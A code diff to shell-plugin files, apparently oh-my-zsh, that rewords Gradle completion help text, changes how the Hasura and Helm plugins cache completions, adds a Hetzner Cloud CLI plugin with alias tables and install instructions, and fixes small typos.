-        '-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
+        '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
+        '-Dorg.gradle.tooling.parallel=[]:->argument-expected' \
+        '-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]:->argument-expected' \
         '-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \
         '-Dorg.gradle.vfs.verbose=[]:->argument-expected' \
-        '-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false):->argument-expected' \
+        '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false):->argument-expected' \
-        '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:->argument-expected' \
+        '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:->argument-expected' \
         '-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never):->argument-expected' \
-        '-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
+        '-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
         (--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
         (--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
-        '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn):->argument-expected' \
+        '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn):->argument-expected' \
-        (--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
+        (--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
-        '--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
+        '--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
-        (--no-continue)'--continue[Continue task execution after a task failure.]' \
+        '--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
+        (--no-continue)'--continue[Continues task execution after a task failure.]' \
         {-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
-        (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
+        (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
-        (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
+        (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
-        {-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
+        {-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
-        {-m,--dry-run}'[Run the builds with all task actions disabled.]' \
+        '--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
-        \*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \
+        '--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
+        {-m,--dry-run}'[Runs the build with all task actions disabled.]' \
+        \*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
         '--export-keys[Exports the public keys used for dependency verification.]' \
         '--foreground[Starts the Gradle daemon in the foreground.]' \
-        (--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
+        (--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
-        {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories:->argument-expected' \
+        {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories:->argument-expected' \
         {-h,--help}'[Shows a help message.]' \
-        \*'--include-build[Include the specified build in the composite.]:include build:_directories:->argument-expected' \
+        \*'--include-build[Includes the specified build in the composite.]:include build:_directories:->argument-expected' \
-        (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \
+        (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
-        \*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
+        \*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
-        '--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
+        '--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
         (--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
         (--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
         (--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
-        (--continue)'--no-continue[Stop task execution after a task failure.]' \
+        (--continue)'--no-continue[Stops task execution after a task failure.]' \
-        (--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
+        (--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
-        (--parallel)'--no-parallel[Disables parallel execution to build projects.]' \
+        (--parallel)'--no-parallel[Disables parallel project execution.]' \
-        (--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \
+        (--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
-        {-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
+        {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
         (--scan)'--no-scan[Disables the creation of a Build Scan.]' \
-        (--watch-fs)'--no-watch-fs[Disables watching the file system.]' \
+        (--watch-fs)'--no-watch-fs[Disables file system watching.]' \
-        '--offline[Execute the build without accessing network resources.]' \
+        '--non-interactive[Do not do interactive prompting. (incubating)]' \
-        (--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
+        '--offline[Runs the build without accessing network resources.]' \
-        '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:->argument-expected' \
+        (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
-        (--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \
+        '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:->argument-expected' \
-        '--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
+        (--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
-        '--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
+        '--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
-        {-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories:->argument-expected' \
+        '--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
-        '--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \
+        {-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories:->argument-expected' \
-        (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \
+        '--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
-        {-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \
+        (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
-        '--refresh-keys[Refresh the public keys used for dependency verification.]' \
+        {-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
+        '--refresh-keys[Refreshes the public keys used for dependency verification.]' \
         '--rerun[Causes the task to be re-run even if up-to-date.]' \
-        '--rerun-tasks[Ignore previously cached task results.]' \
+        '--rerun-tasks[Ignores previously cached task results.]' \
-        (--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \
+        (--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
         {-V,--show-version}'[Print version info and continue.]' \
-        (--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
+        (--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
-        '--status[Shows status of running and recently stopped Gradle daemon(s).]' \
+        '--status[Shows the status of running and recently stopped Gradle daemons.]' \
         '--stop[Stops the Gradle daemon if it is running.]' \
-        '--task-graph[(Experimental) Print task graph instead of executing tasks.]' \
+        '--task-graph[Prints the task graph instead of executing tasks.]' \
-        \*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \
+        \*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
         {-v,--version}'[Print version info and exit.]' \
-        (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \
+        (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
-        '--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none):->argument-expected' \
+        '--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none):->argument-expected' \
-        (--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \
+        (--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
-        '--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \
+        '--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
-        {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]:->argument-expected' \
+        {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]:->argument-expected' \
 '(-)*:: :->task-or-option' && ret=0
 
     if [[ $words[CURRENT] != -* && $state != "argument-expected" ]]; then

plugins/grunt/grunt.plugin.zsh

@@ -23,7 +23,7 @@
 #
 # Enable caching:
 #
-#   If you want to use the cache, set the followings in your .zshrc:
+#   If you want to use the cache, set the following in your .zshrc:
 #
 #     zstyle ':completion:*' use-cache yes
 #

plugins/hasura/hasura.plugin.zsh

@@ -9,5 +9,9 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_hasura" ]]; then
   source "$ZSH_CACHE_DIR/completions/_hasura"
 else
   source "$ZSH_CACHE_DIR/completions/_hasura"
-  hasura completion zsh --file "$ZSH_CACHE_DIR/completions/_hasura" >/dev/null &|
+  zmodload -F zsh/files b:zf_mv
+  () {
+    local TMPPREFIX="$ZSH_CACHE_DIR/completions/_hasura"
+    zf_mv -f -- =( hasura completion zsh ) "$TMPPREFIX"
+  } &|
 fi

plugins/hcloud/README.md

@@ -0,0 +1,143 @@
+# hcloud plugin
+
+This plugin adds completion for the [Hetzner Cloud CLI](https://github.com/hetznercloud/cli),
+as well as some aliases for common hcloud commands.
+
+To use it, add `hcloud` to the plugins array in your zshrc file:
+
+```zsh
+plugins=(... hcloud)
+```
+
+## Aliases
+
+| Alias      | Command                                   | Description                                                   |
+| :--------- | :---------------------------------------- | :------------------------------------------------------------ |
+| hc         | `hcloud`                                  | The hcloud command                                            |
+|            |                                           | **Context Management**                                        |
+| hcctx      | `hcloud context`                          | Manage contexts                                               |
+| hcctxls    | `hcloud context list`                     | List all contexts                                             |
+| hcctxu     | `hcloud context use`                      | Use a context                                                 |
+| hcctxc     | `hcloud context create`                   | Create a new context                                          |
+| hcctxd     | `hcloud context delete`                   | Delete a context                                              |
+| hcctxa     | `hcloud context active`                   | Show active context                                           |
+|            |                                           | **Server Management**                                         |
+| hcs        | `hcloud server`                           | Manage servers                                                |
+| hcsl       | `hcloud server list`                      | List all servers                                              |
+| hcsc       | `hcloud server create`                    | Create a server                                               |
+| hcsd       | `hcloud server delete`                    | Delete a server                                               |
+| hcsdesc    | `hcloud server describe`                  | Describe a server                                             |
+| hcspoff    | `hcloud server poweroff`                  | Power off a server                                            |
+| hcspon     | `hcloud server poweron`                   | Power on a server                                             |
+| hcsr       | `hcloud server reboot`                    | Reboot a server                                               |
+| hcsreset   | `hcloud server reset`                     | Reset a server                                                |
+| hcssh      | `hcloud server ssh`                       | SSH into a server                                             |
+| hcse       | `hcloud server enable-rescue`             | Enable rescue mode for a server                               |
+| hcsdr      | `hcloud server disable-rescue`            | Disable rescue mode for a server                              |
+| hcsip      | `hcloud server ip`                        | Manage server IPs                                             |
+| hcsa       | `hcloud server attach-iso`                | Attach an ISO to a server                                     |
+| hcsda      | `hcloud server detach-iso`                | Detach an ISO from a server                                   |
+| hcscip     | `hcloud server change-type`               | Change server type                                            |
+|            |                                           | **Volume Management**                                         |
+| hcv        | `hcloud volume`                           | Manage volumes                                                |
+| hcvl       | `hcloud volume list`                      | List all volumes                                              |
+| hcvc       | `hcloud volume create`                    | Create a volume                                               |
+| hcvd       | `hcloud volume delete`                    | Delete a volume                                               |
+| hcvdesc    | `hcloud volume describe`                  | Describe a volume                                             |
+| hcva       | `hcloud volume attach`                    | Attach a volume to a server                                   |
+| hcvda      | `hcloud volume detach`                    | Detach a volume from a server                                 |
+| hcvr       | `hcloud volume resize`                    | Resize a volume                                               |
+|            |                                           | **Network Management**                                        |
+| hcn        | `hcloud network`                          | Manage networks                                               |
+| hcnl       | `hcloud network list`                     | List all networks                                             |
+| hcnc       | `hcloud network create`                   | Create a network                                              |
+| hcnd       | `hcloud network delete`                   | Delete a network                                              |
+| hcndesc    | `hcloud network describe`                 | Describe a network                                            |
+| hcnas      | `hcloud network add-subnet`               | Add a subnet to a network                                     |
+| hcnds      | `hcloud network delete-subnet`            | Delete a subnet from a network                                |
+| hcnar      | `hcloud network add-route`                | Add a route to a network                                      |
+| hcndr      | `hcloud network delete-route`             | Delete a route from a network                                 |
+|            |                                           | **Floating IP Management**                                    |
+| hcfip      | `hcloud floating-ip`                      | Manage floating IPs                                           |
+| hcfipl     | `hcloud floating-ip list`                 | List all floating IPs                                         |
+| hcfipc     | `hcloud floating-ip create`               | Create a floating IP                                          |
+| hcfipd     | `hcloud floating-ip delete`               | Delete a floating IP                                          |
+| hcfipdesc  | `hcloud floating-ip describe`             | Describe a floating IP                                        |
+| hcfipa     | `hcloud floating-ip assign`               | Assign a floating IP to a server                              |
+| hcfipua    | `hcloud floating-ip unassign`             | Unassign a floating IP from a server                          |
+|            |                                           | **SSH Key Management**                                        |
+| hcsk       | `hcloud ssh-key`                          | Manage SSH keys                                               |
+| hcskl      | `hcloud ssh-key list`                     | List all SSH keys                                             |
+| hcskc      | `hcloud ssh-key create`                   | Create an SSH key                                             |
+| hcskd      | `hcloud ssh-key delete`                   | Delete an SSH key                                             |
+| hcskdesc   | `hcloud ssh-key describe`                 | Describe an SSH key                                           |
+| hcsku      | `hcloud ssh-key update`                   | Update an SSH key                                             |
+|            |                                           | **Image Management**                                          |
+| hci        | `hcloud image`                            | Manage images                                                 |
+| hcil       | `hcloud image list`                       | List all images                                               |
+| hcid       | `hcloud image delete`                     | Delete an image                                               |
+| hcidesc    | `hcloud image describe`                   | Describe an image                                             |
+| hciu       | `hcloud image update`                     | Update an image                                               |
+|            |                                           | **Firewall Management**                                       |
+| hcfw       | `hcloud firewall`                         | Manage firewalls                                              |
+| hcfwl      | `hcloud firewall list`                    | List all firewalls                                            |
+| hcfwc      | `hcloud firewall create`                  | Create a firewall                                             |
+| hcfwd      | `hcloud firewall delete`                  | Delete a firewall                                             |
+| hcfwdesc   | `hcloud firewall describe`                | Describe a firewall                                           |
+| hcfwar     | `hcloud firewall add-rule`                | Add a rule to a firewall                                      |
+| hcfwdr     | `hcloud firewall delete-rule`             | Delete a rule from a firewall                                 |
+| hcfwas     | `hcloud firewall apply-to-resource`       | Apply a firewall to a resource                                |
+| hcfwrs     | `hcloud firewall remove-from-resource`    | Remove a firewall from a resource                             |
+|            |                                           | **Load Balancer Management**                                  |
+| hclb       | `hcloud load-balancer`                    | Manage load balancers                                         |
+| hclbl      | `hcloud load-balancer list`               | List all load balancers                                       |
+| hclbc      | `hcloud load-balancer create`             | Create a load balancer                                        |
+| hclbd      | `hcloud load-balancer delete`             | Delete a load balancer                                        |
+| hclbdesc   | `hcloud load-balancer describe`           | Describe a load balancer                                      |
+| hclbu      | `hcloud load-balancer update`             | Update a load balancer                                        |
+| hclbas     | `hcloud load-balancer add-service`        | Add a service to a load balancer                              |
+| hclbds     | `hcloud load-balancer delete-service`     | Delete a service from a load balancer                         |
+| hclbat     | `hcloud load-balancer add-target`         | Add a target to a load balancer                               |
+| hclbdt     | `hcloud load-balancer delete-target`      | Delete a target from a load balancer                          |
+|            |                                           | **Certificate Management**                                    |
+| hccert     | `hcloud certificate`                      | Manage certificates                                           |
+| hccertl    | `hcloud certificate list`                 | List all certificates                                         |
+| hccertc    | `hcloud certificate create`               | Create a certificate                                          |
+| hccertd    | `hcloud certificate delete`               | Delete a certificate                                          |
+| hccertdesc | `hcloud certificate describe`             | Describe a certificate                                        |
+| hccertu    | `hcloud certificate update`               | Update a certificate                                          |
+|            |                                           | **Datacenter and Location Info**                              |
+| hcdc       | `hcloud datacenter list`                  | List all datacenters                                          |
+| hcloc      | `hcloud location list`                    | List all locations                                            |
+| hcst       | `hcloud server-type list`                 | List all server types                                         |
+| hcit       | `hcloud image list --type system`         | List all system images                                        |
+
+## Requirements
+
+This plugin requires the [Hetzner Cloud CLI](https://github.com/hetznercloud/cli) to be installed.
+
+### Installation
+
+Install the Hetzner Cloud CLI using one of the following methods:
+
+**macOS (Homebrew):**
+```bash
+brew install hcloud
+```
+
+**Linux (from source):**
+```bash
+go install github.com/hetznercloud/cli/cmd/hcloud@latest
+```
+
+**Or download a prebuilt binary from the [releases page](https://github.com/hetznercloud/cli/releases).**
+
+### Setup
+
+After installation, create a context and authenticate:
+
+```bash
+hcloud context create my-project
+```
+
+You'll be prompted to enter your Hetzner Cloud API token, which you can generate in the [Hetzner Cloud Console](https://console.hetzner.cloud/).

plugins/hcloud/hcloud.plugin.zsh

@@ -0,0 +1,133 @@
+# hcloud plugin for oh-my-zsh
+# Hetzner Cloud CLI: https://github.com/hetznercloud/cli
+
+if (( ! $+commands[hcloud] )); then
+  return
+fi
+
+# If the completion file doesn't exist yet, we need to autoload it and
+# bind it to `hcloud`. Otherwise, compinit will have already done that.
+if [[ ! -f "$ZSH_CACHE_DIR/completions/_hcloud" ]]; then
+  typeset -g -A _comps
+  autoload -Uz _hcloud
+  _comps[hcloud]=_hcloud
+fi
+
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_hcloud"
+  zf_mv -f -- =( hcloud completion zsh 2> /dev/null ) "$TMPPREFIX"
+} &|
+
+# Main alias
+alias hc='hcloud'
+
+# Context management
+alias hcctx='hcloud context'
+alias hcctxls='hcloud context list'
+alias hcctxu='hcloud context use'
+alias hcctxc='hcloud context create'
+alias hcctxd='hcloud context delete'
+alias hcctxa='hcloud context active'
+
+# Server management
+alias hcs='hcloud server'
+alias hcsl='hcloud server list'
+alias hcsc='hcloud server create'
+alias hcsd='hcloud server delete'
+alias hcsdesc='hcloud server describe'
+alias hcspoff='hcloud server poweroff'
+alias hcspon='hcloud server poweron'
+alias hcsr='hcloud server reboot'
+alias hcsreset='hcloud server reset'
+alias hcssh='hcloud server ssh'
+alias hcse='hcloud server enable-rescue'
+alias hcsdr='hcloud server disable-rescue'
+alias hcsip='hcloud server ip'
+
+# Server actions
+alias hcsa='hcloud server attach-iso'
+alias hcsda='hcloud server detach-iso'
+alias hcscip='hcloud server change-type'
+
+# Volume management
+alias hcv='hcloud volume'
+alias hcvl='hcloud volume list'
+alias hcvc='hcloud volume create'
+alias hcvd='hcloud volume delete'
+alias hcvdesc='hcloud volume describe'
+alias hcva='hcloud volume attach'
+alias hcvda='hcloud volume detach'
+alias hcvr='hcloud volume resize'
+
+# Network management
+alias hcn='hcloud network'
+alias hcnl='hcloud network list'
+alias hcnc='hcloud network create'
+alias hcnd='hcloud network delete'
+alias hcndesc='hcloud network describe'
+alias hcnas='hcloud network add-subnet'
+alias hcnds='hcloud network delete-subnet'
+alias hcnar='hcloud network add-route'
+alias hcndr='hcloud network delete-route'
+
+# Floating IP management
+alias hcfip='hcloud floating-ip'
+alias hcfipl='hcloud floating-ip list'
+alias hcfipc='hcloud floating-ip create'
+alias hcfipd='hcloud floating-ip delete'
+alias hcfipdesc='hcloud floating-ip describe'
+alias hcfipa='hcloud floating-ip assign'
+alias hcfipua='hcloud floating-ip unassign'
+
+# SSH key management
+alias hcsk='hcloud ssh-key'
+alias hcskl='hcloud ssh-key list'
+alias hcskc='hcloud ssh-key create'
+alias hcskd='hcloud ssh-key delete'
+alias hcskdesc='hcloud ssh-key describe'
+alias hcsku='hcloud ssh-key update'
+
+# Image management
+alias hci='hcloud image'
+alias hcil='hcloud image list'
+alias hcid='hcloud image delete'
+alias hcidesc='hcloud image describe'
+alias hciu='hcloud image update'
+
+# Firewall management
+alias hcfw='hcloud firewall'
+alias hcfwl='hcloud firewall list'
+alias hcfwc='hcloud firewall create'
+alias hcfwd='hcloud firewall delete'
+alias hcfwdesc='hcloud firewall describe'
+alias hcfwar='hcloud firewall add-rule'
+alias hcfwdr='hcloud firewall delete-rule'
+alias hcfwas='hcloud firewall apply-to-resource'
+alias hcfwrs='hcloud firewall remove-from-resource'
+
+# Load balancer management
+alias hclb='hcloud load-balancer'
+alias hclbl='hcloud load-balancer list'
+alias hclbc='hcloud load-balancer create'
+alias hclbd='hcloud load-balancer delete'
+alias hclbdesc='hcloud load-balancer describe'
+alias hclbu='hcloud load-balancer update'
+alias hclbas='hcloud load-balancer add-service'
+alias hclbds='hcloud load-balancer delete-service'
+alias hclbat='hcloud load-balancer add-target'
+alias hclbdt='hcloud load-balancer delete-target'
+
+# Certificate management
+alias hccert='hcloud certificate'
+alias hccertl='hcloud certificate list'
+alias hccertc='hcloud certificate create'
+alias hccertd='hcloud certificate delete'
+alias hccertdesc='hcloud certificate describe'
+alias hccertu='hcloud certificate update'
+
+# Datacenter and location info
+alias hcdc='hcloud datacenter list'
+alias hcloc='hcloud location list'
+alias hcst='hcloud server-type list'
+alias hcit='hcloud image list --type system'

plugins/helm/helm.plugin.zsh

@@ -9,7 +9,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_helm" ]]; then
   source "$ZSH_CACHE_DIR/completions/_helm"
 else
   source "$ZSH_CACHE_DIR/completions/_helm"
-  helm completion zsh | tee "$ZSH_CACHE_DIR/completions/_helm" >/dev/null &|
+  zmodload -F zsh/files b:zf_mv
+  () {
+    local TMPPREFIX="$ZSH_CACHE_DIR/completions/_helm"
+    zf_mv -f -- =( helm completion zsh ) "$TMPPREFIX"
+  } &|
 fi
 
 alias h='helm'

plugins/history-substring-search/README.md

@@ -20,7 +20,7 @@ Requirements
 Install
 ------------------------------------------------------------------------------
 
-Using the [Homebrew]( https://brew.sh ) package manager:
+Using the [Homebrew](https://brew.sh) package manager:
 
     brew install zsh-history-substring-search
     echo 'source $(brew --prefix)/share/zsh-history-substring-search/zsh-history-substring-search.zsh' >> ~/.zshrc
@@ -79,7 +79,7 @@ Using [Zinit](https://github.com/zdharma-continuum/zinit):
 
 2. Load the plugin in `~/.zshrc`:
 
-        zinit load 'zsh-users/zsh-history-substring-search
+        zinit load 'zsh-users/zsh-history-substring-search'
         zinit ice wait atload'_history_substring_search_config'
 
 3. Run `exec zsh` to take changes into account:

plugins/history-substring-search/history-substring-search.plugin.zsh

@@ -3,6 +3,13 @@
 0="${${ZERO:-${0:#$ZSH_ARGZERO}}:-${(%):-%N}}"
 0="${${(M)0:#/*}:-$PWD/$0}"
 
+# Respect case sensitivity settings for globbing in history search
+if [[ "$CASE_SENSITIVE" = true ]]; then
+  : ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS=''}
+else
+  : ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
+fi
+
 source ${0:A:h}/history-substring-search.zsh